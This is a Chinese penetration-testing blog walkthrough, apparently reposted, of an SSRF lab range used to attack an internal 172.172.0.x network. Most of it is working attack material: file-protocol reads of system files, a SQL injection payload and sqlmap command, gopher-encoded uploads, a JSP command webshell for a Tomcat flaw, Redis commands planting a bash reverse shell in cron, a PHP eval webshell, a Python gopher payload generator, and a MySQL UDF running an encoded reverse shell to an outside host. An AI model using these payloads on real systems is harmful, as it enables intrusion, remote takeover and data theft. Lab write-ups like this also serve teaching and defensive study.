实战 | 记一次SSRF靶场到内网打穿

0x0前言

靶场网络拓扑如下

picture.image

92883-rn4n90qpxcd.png

172.172.0.10 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网,此时攻击者通过公网可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

大部分源码采用自国光师傅的项目,修改了一两个靶机的内容


          
              

            https://github.com/sqlsec/ssrf-vuls
          
        

picture.image

0x01 判断 SSRF并获取信息

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。下面这个功能点是获取网站快照

picture.image

69614-tndfk5ot85f.png

正常业务情况是请求网站然后响应内容,但是没做好过滤可以使用其他协议,配合 file 协议来读取本地的文件信息,首先尝试使用 file 协议来读取 /etc/passwd 文件试试看:


        
            

          file:///etc/passwd
        
      

picture.image

78756-9er4vpqham8.png

然后Linux的话可以通过读取/etc/hosts来获取当前主机的ip


        
            

          file:///etc/hosts
        
      

picture.image

66142-h369bp33i2e.png

得到当前的主机ip为172.172.0.10 权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

0x01 172.1720.1/24 - SSRF 探测内网端口

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口burp爆破模块对ip c段跟端口进行选择然后攻击模式选择Cluster bomb

picture.image

40044-fzx69x100xv.png

第一个位置选择1到255也就是一个c段

picture.image

42286-43y621vg8r.png

第二个是要探测的端口

picture.image

88273-cc5dvx1sk0c.png

得到的端口开放信息

picture.image

25681-yrvg1nsgibb.png

通过爆破可以得到端口的开放情况(开放的可能更多,上帝视角列出能打的):


        
            

          172.172.0.15 6379172.172.0.2 6379 172.172.0.18 3306172.172.0.59 80,3306172.172.0.25 80172.172.0.50 80172.172.0.10 80
        
      

0x02 172.172.0.50代码注入

通过ssrf先请求一下发现了一个首页显示Hello CodeExec

picture.image

74825-n6nl3eynt1.png

对这个进行SSRF目录扫描

picture.image

54154-mqsyiz1cr5.png

然后添加目录字典

picture.image

55186-b57nh5olwi.png

通过长度可以可以看出来存在着 phpinfo.php 和 shell.php:

picture.image

44623-t42ox9y424h.png

访问一下shell.php一个简单的命令执行

picture.image

42177-xf9nzxrau3h.png

直接使用 SSRF 的 HTTP 协议来发起 GET 请求,直接给 cmd 参数传入命令值,来命令直接执行:

picture.image

37588-c1zudcbtp5s.png

查看一下这台的hosts文件

picture.image

47658-xyvw28zk1b.png

0x03 172.172.0.59Sql注入

请求页面发现是一个查询的功能点

picture.image

98531-0msr985bbi3.png

通过查看html表单可以发现是通过get传给当前文件的参数是username

picture.image

89536-z04l3rab9wf.png

查询一下admin

picture.image

37612-3jcg64kw8ei.png

加个单引号发现报错了

picture.image

00578-le5kefz9cr.png

存在报错我们直接构造报错注入payload


        
            

          172.172.0.59?username=admin'-updatexml(1,concat(0x7e,user()),1)-'
        
      

picture.image

33263-471qxtwucgg.png

使用sqlmap


        
            

          sqlmap -u "http://10.68.1.51/" --data "url="  --prefix "172.172.0.59?username=admin'" --dbms mysql -p url --tech E -v 3 --level 3 --tamper space2comment   -D "user" --dump
        
      

成功跑出注入

picture.image

58166-zw7wz83qjns.png

0x04 172.172.0.25 uploadfile

发现是一个头像上传的功能点

picture.image

17762-ddqf8o19f7p.png

查看表单可以看到上传到当前文件,文件名是file

picture.image

70735-zgfaighntf.png

上传是通过 POST ,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:


        
            

          gopher://IP:port/\_{TCP/IP数据流}
        
      

gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。


        
            

          Accept-Encoding: gzip, deflate
        
      

接着在 Burpsuite 中将本 POST 数据包进行两次 URL 编码:

picture.image

26246-5owb0c8lou4.png

两次 URL 编码后的数据就最终的 TCP 数据流,最终 SSRF 完整的攻击请求的 POST 数据包如下:


        
            

          gopher://172.172.0.25:80/\_{url编码两次的数据包}
        
      

上传成功

picture.image

70682-u5t5wertyue.png

请求php文件成功

picture.image

16485-gwczhq9ficv.png

0x05 172.172.0.42 tomcat-CVE-2017-12615

跟上面一样只是发送的包是put的,准备一个jsp一句话


        
            

          <%    String command = request.getParameter("cmd");    **if** (command != null)    {        java.io.InputStream **in** =Runtime.getRuntime().exec(command).getInputStream();        int a = -1;        byte[] b = **new**  byte[2048];        **out** .print("<pre>");        **while** ((a=**in** .read(b))!=-1)        {            **out** .println(**new**  String(b));        }        **out** .print("</pre>");    } **else**  {        **out** .print("format: xxx.jsp?cmd=Command");    }%>
        
      

准备攻击数据包,将个 POST 请求二次 URL 编码

picture.image

24601-6xqebrozkoq.png

通过 SSRF 发起这个 POST 请求

picture.image

73343-7p4c5l8y6cb.png

接着通过 SSRF 发起对 mo60.jsp 的 HTTP 请求,成功执行了id 的命令:

picture.image

51451-zjabw0hf75.png

0x05 172.172.0.2 Redis 未授权

系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:


        
            

          **# 清空 key** flushall **# 设置要操作的路径为定时任务目录** config **set**  dir /**var** /spool/cron/ **# 设置定时任务角色为 root** config **set**  dbfilename root **# 设置定时任务内容** **set**  x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n" **# 保存操作** save
        
      

未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以使用 DICT 协议来攻击


        
            

          dict://x.x.x.x:6379/<Redis 命令>
        
      

成功执行info命令

picture.image

85548-oc331nnt29j.png

用 dict 协议来创建定时任务来反弹 Shell:


        
            

          # 清空 keydict://172.172.0.2:6379/flushall # 设置要操作的路径为定时任务目录dict://172.172.0.2:6379/config set dir /var/spool/cron/ # 在定时任务目录下创建 root 的定时任务文件dict://172.172.0.2:6379/config set dbfilename root # 写入 Bash 反弹 shell 的 payloaddict://172.172.0.2:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n" # 保存上述操作dict://172.172.0.2:6379/save
        
      

成功反弹回来shell

picture.image

59588-jpg6dskjs19.png

0x06 172.172.0.15 授权redis

有密码验证,无法直接未授权执行命令:

picture.image

41912-4cyhqckeole.png

除了 6379 端口还开放了 80 端口,是一个经典的 LFI 本地文件包含,可以利用此来读取本地的文件内容:

picture.image

95677-ssuidkqgft8.png

因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下,也有是通过了其他方法拿到了密码比如Spring boot heapdump


        
            

          /etc/redis.conf/etc/redis/redis.conf/usr/local/redis/etc/redis.conf/opt/redis/ect/redis.conf
        
      

成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass 关键词来定位寻找密码:

picture.image

32831-d558alvg3pi.png

有密码可以使用dicty验证一下是否正确,但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行


        
            

          dict://172.172.0.15:6379/auth P@ssw0rd
        
      

picture.image

61791-nyktgb2ocy.png

gopher 协议因为需要原生数据包,所以我们需要抓取到 Redis 的请求数据包,在本地安装Redis,用root身份启动Redis-server,利用socat 做端口转发并抓取Redis-cli 和Redis-server通信的数据。


        
            

          socat -v tcp-**listen** :5201,**fork**  tcp-**connect** :localhost:6379    #端口转发并抓取数据
        
      

此时使用 redis-cli 连接本地的 5201 端口:


        
            

          redis-cli -h 127.0.0.1 -p 5201
        
      

服务器接着会把 5201 端口的流量接受并转发给服务器的 6379 端口,然后认证后进行往网站目录下写入 shell 的操作:


        
            

          # 认证 redis127.0.0.1:5201> auth P@ssw0rdOK# 清空 key127.0.0.1:5201> flushall # 设置要操作的路径为网站根目录127.0.0.1:5201> config set dir /var/www/html # 在网站目录下创建 shell.php 文件127.0.0.1:5201> config set dbfilename shell.php # 设置 shell.php 的内容127.0.0.1:5201> set x "\n<?php eval($\_GET[1]);?>\n" # 保存上述操作127.0.0.1:5201> save
        
      

picture.image

36251-38itnqp75pd.png

picture.image

57841-yro1c3xjo7p.png

与此同时我们还可以看到详细的数据包情况,下面来记录一下关键的流量情况:接下来整理出关键的请求数据包如下:


        
            

          *2\r$4\rauth\r$8\r**P** **@ssw0rd** \r*1\r$8\rflushall\r*4\r$6\rconfig\r$3\r**set** \r$3\rdir\r$13\r/**var** /www/html\r*4\r$6\rconfig\r$3\r**set** \r$10\rdbfilename\r$9\rshell.php\r*3\r$3\r**set** \r$1\rx\r$25\r  <?php eval($_GET[1]);?>  \r*1\r$4\rsave\r
        
      

可以看到每行都是以 r 结尾的,但是 Redis 的协议是以 CRLF (rn) 结尾,所以转换的时候需要把 r 转换为 rn,这里使用七友师傅编写的python脚本


        
            

          **import**  urllib.parseprotocol = "gopher://"ip = "127.0.0.1"port = "6788"shell = "\n\n<?php phpinfo();?>\n\n"filename = "mo60.php"path = "/var/www/html"passwd = "P@ssw0rd"cmd = ["flushall",     "set 1 {}".format(shell.replace(" ","${IFS}")),       "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save",     "quit"    ]**if**  passwd:    cmd.insert(0,"AUTH {}".format(passwd))payload = protocol + ip + ":" + port + "/_"**def**  **redis\_format** (arr):    CRLF = "\r\n"    redis_arr = arr.split(" ")    cmd = ""    cmd += "*" + str(len(redis_arr))    **for**  x **in**  redis_arr:        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")    cmd += CRLF    **return**  cmd**if**  __name__=="__main__":    **for**  x **in**  cmd:        payload += urllib.parse.quote(redis_format(x))    # print(payload)    print(urllib.parse.quote(payload)) 
        
      

发送返回ok

picture.image

75954-tzhgi07j0k.png

发送的数据如下


        
            

          url=gopher://172.172.0.15:6379/\_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250AP%2540ssw0rd%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252422%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Amo60.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
        
      

尝试访问,成功

picture.image

60604-4l410i9z52b.png

也可以通过计划任务反弹shell

picture.image

65460-iccnp111hfk.png

成功接收到

picture.image

40947-w5daxlipby.png

0x07 172.172.0.18 未授权Mysql

MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包:


        
            

          # lo 回环接口网卡 -w 报错 pcapng 数据包tcpdump -i lo port 3306 -w mysql.pcapng
        
      

然后本地使用 MySQL 来执行一些测试命令:


        
            

          [root@localhost]# mysql -uroot -h127.0.0.1 -e "select * from flag.test";  
+----+----------------------------------------+| id | flag                                   |  
+----+----------------------------------------+|  1 | flag{71a5d5e6b2b9a3da3dc0a85851d50316} |  
+----+----------------------------------------+
        
      

Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 然后过滤出发给 3306 的数据然后过滤出客户端发送到MySQL服务器的数据包,将显示格式调整为原始数据即可:

picture.image

81830-ph696qxna6b.png

然后使用如下的 Python3 脚本将数据转化为 url 编码:


        
            

          **import**  sys**def**  **results** (s):  
    a=[s[i:i+2] **for**  i **in**  range(0,len(s),2)]    **return**  "curl gopher://127.0.0.1:3306/_%"+"%".join(a)  
  
s="3c00000185a20f0000000001210000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031180000000373656c656374202a2066726f6d20666c61672e746573740100000001"print(results(s))
        
      

picture.image

24171-mtqdgl260f.png

放入到 BP 中请求的话记得需要二次 URL 编码,成功查询到flag

picture.image

58024-tt42tmq7t6.png

使用脚本
h ttps://github.com/tarunkant/Gopherus
来生成查看插件目录的exp


        
            

          **show**  variables **like**  '%plugin%'
        
      

picture.image

68975-xvvhp60qkmg.png

放入到 BP 中请求的话记得需要二次 URL 编码,可以直接获取到MySQL 的插件目录为:/usr/lib/mysql/plugin/

picture.image

65732-78d6fypudjx.png

使用国光师傅的网站h ttps://www.sqlsec.com/udf/

picture.image

28659-bz3i179vexm.png

然后用脚本生成上方语句的payload,写入udf文件,,这里的操作我使用脚本没有完成功要使用tcpdump 监听到的原始数据后,转换 gopher 协议,BP 二次编码请求一下

picture.image

69880-6soey76z242.png

创建自定义函数


        
            

          **CREATE**  **FUNCTION**  sys_eval **RETURNS**  STRING SONAME 'udf.so';
        
      

最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下:


        
            

          select sys\_eval('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xNjYvNTU1NSAwPiYx|base64 -d|bash -i');
        
      

0x08参考


          
https://www.cnblogs.com/aninock/p/15663953.html
          
https://www.sqlsec.com/2021/05/ssrf.html
      

作者:Jun

文章来源:blog.mo60.cn

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ **再看

”**

0
0
0
0
评论
未登录
暂无评论